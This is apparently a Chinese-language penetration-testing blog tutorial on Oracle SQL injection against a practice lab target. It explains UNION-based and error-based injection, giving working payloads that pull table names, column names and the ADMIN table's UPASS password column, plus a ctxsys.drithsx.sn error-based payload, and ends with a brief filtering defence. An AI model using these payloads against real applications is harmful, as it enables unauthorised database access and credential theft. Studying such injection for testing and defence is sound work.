渗透测试基础-ORACLE数据库之报错注入
- ORACLE数据库
- ORACLE显错注入靶场演练
- ORACLE报错注入
- 漏洞总结
只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!
ORACLE数据库
Oracle Database
,又名Oracle RDBMS
,或简称Oracle
。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。这里先对其做个简单的介绍。
既然要学习注入,还是得先了解它的一些语法和特点
oracle SQL语句
较为简单明了
如果我要查询系统里面的所有表,我只要写select *from all_tables
即可。
如果我要查询系统里面的所有字段呢,我只要在表的后面加上字段就好,比如写select *from all_tab_columns
这样。
语句特别的简单明了,说到这里,我们知道所有表是好事,但是该怎么定位到我们想要的表呢?这里只需要选择用户创建的表就好了嘛。select *from user_tables
这样就查到了用户创建的表,如果在字段那限制表名字,那就能单个取到数据
测试语句:
select table_name from user_tables
要取字段的数据,也可以这样
测试语句:
select column_name from user_tab_columns
好了,基本语法已经清楚了,再来了解一些其他的
-
引入
dual
表dual
在Oracle
有点完善语句的意思,在前面Access数据库
中,我们遇到了,查询语句必须填写正确的表名才可,不正确还不行,这里呢,Oracle
有点不同,它直接提供你一个表,查询语句他还是要求带表,但是如果你暂时不填‘正确’的表名,用dual
也可以代替,不会报错。这里我们直接进入显错注入靶场了解情况
ORACLE显错注入靶场演练
进入靶场界面,先尝试字段数测试
测试发现这里有4
个字段,直接就开始查他的表名,注意字段数用null
暂时代替。
测试语句:
and 1 like 2 union all select null,null,null,null from user_tables
发现这里并没有显示数据,但这里其实还是字段类型出现了问题,因为类型的缘故,如果我们想要让其非int类型
的字段输出字符串,我们得放入一个函数:to_nchar()
才能正常执行。
测试语句:
and 1 like 2 union all select 10086,to_nchar('gg'),to_nchar('hh'),10086 from user_name
这样就正常执行了,在放入我们要查询的字段。注意,这里因为我们放入的是字段名,它并非是数据,所有我们这里得将括号里面的单引号移除
测试语句:
and 1 like 2 union all select 10086,to_nchar(table_name),to_nchar('hh'),10086 from user_tables
这样就取到了第一个表名,但是问题来了,怎么取接下来的数据呢,oracle
并没有limit
这样的东西。但是这里有两个方法。
第一个方法,我们用排除法,将已经得到数据,一个个排除开就好
测试语句:
and 1 like 2 union all select 10086,to_nchar(table_name),to_nchar('hh'),10086 from user_tables where table_name<>'NEWS'
这样就取到了第二条数据,虽然看起来LOW
,但是终归还是有用的方法,但是问题还是有的,要是这里的数据量非常多,那代码会变得很的长。所以看下一个方法
第二个方法,为数据规定数值“名字”,根据名字取数据
这里直接将测试语句放出来在说明含意
测试语句:
and 1 like 2 union select 10086,to_nchar(table_name),to_nchar('gg'),10086 from (select rownum r,table_name from user_tables)where r=1
这里就直接取到了数据,改变r
的值,就能变换数据。先来看一下上面的SQL语句
怎么理解。
先看一下括号里面的自查询语句select rownum r,table_name from user_tables
,直接放入数据库是这样的
子查询语句将得到所有的表名,在将所有的表名数据带入到外面的语句中。然后看这里的rownum
其实是伪列的意思,后面的r
,在字段数增加了一个位置,如果将r
删除,就会显示它本来的名字(当然不写r也可以的)
我们这用r
来代替rownum
,是因为Oracle
有这样一个机制,就是查询出来的数据,它会编个序号,但是这个序呢,它不是固定的,所以就用提前命名的方式,给它规定死,等下用where
限制条件。r=1
调取的就是NEWS
的数据,r=2
调取的就是ADMIN
的数据,以这样的方式,来简化查找数据的便捷性。
有了表名,我们接着来取字段名字
测试语句:
and 1 like 2 union select 10086,to_nchar(column_name),to_nchar('gg'),10086 from (select rownum r,column_name from user_tab_columns)where r=2
有了表名和字段名,就要来取数据了
测试语句:
and 1 like 2 union select 10086,to_nchar(UPASS),to_nchar('gg'),10086 from (select rownum r,UPASS from ADMIN)where r=1
这就是Oracle
显错注入的测试方法了,接下来讲最后的报错注入
ORACLE报错注入
前面的底子打好了,所有这里直接把语句拿出来在分析原理
测试语句:
and 1 like ctxsys.drithsx.sn(user,(select table_name from (select rownum r,table_name from user_tables)where r=1))
这里分成3步,这样看
ctxsys.drithsx.sn(当前查询的用户(需要查询的东西))
1.这个"需要查询的东西"就不在进一步阐述了,前面的显错注入的原语句,通过where r=几
来控制查询数据内容。
2.外围函数括号里面跟的第一个参数是当前查询的用户,这里写user
即可
3.重点来了,这个函数的意思就是,想要去查询一个东西,但是因为找不到,所以报错了,可是咱们里面的查询语句是在括号里面的,属于优先执行的语句,函数在报错的同时,也将我们的查询数据一同报了出来,这就成就了此处的报错注入。
漏洞总结
Oracle
这次讲的两个注入,防护方法当然还是已过滤为主,可直接过滤ctxsys.drithsx.sn
函数,然后在过滤个括号什么的,基本就没办法了。
《最好的防御,是明白其怎么实施的攻击》
更多推荐
渗透测试基础-ORACLE数据库之报错注入
发布评论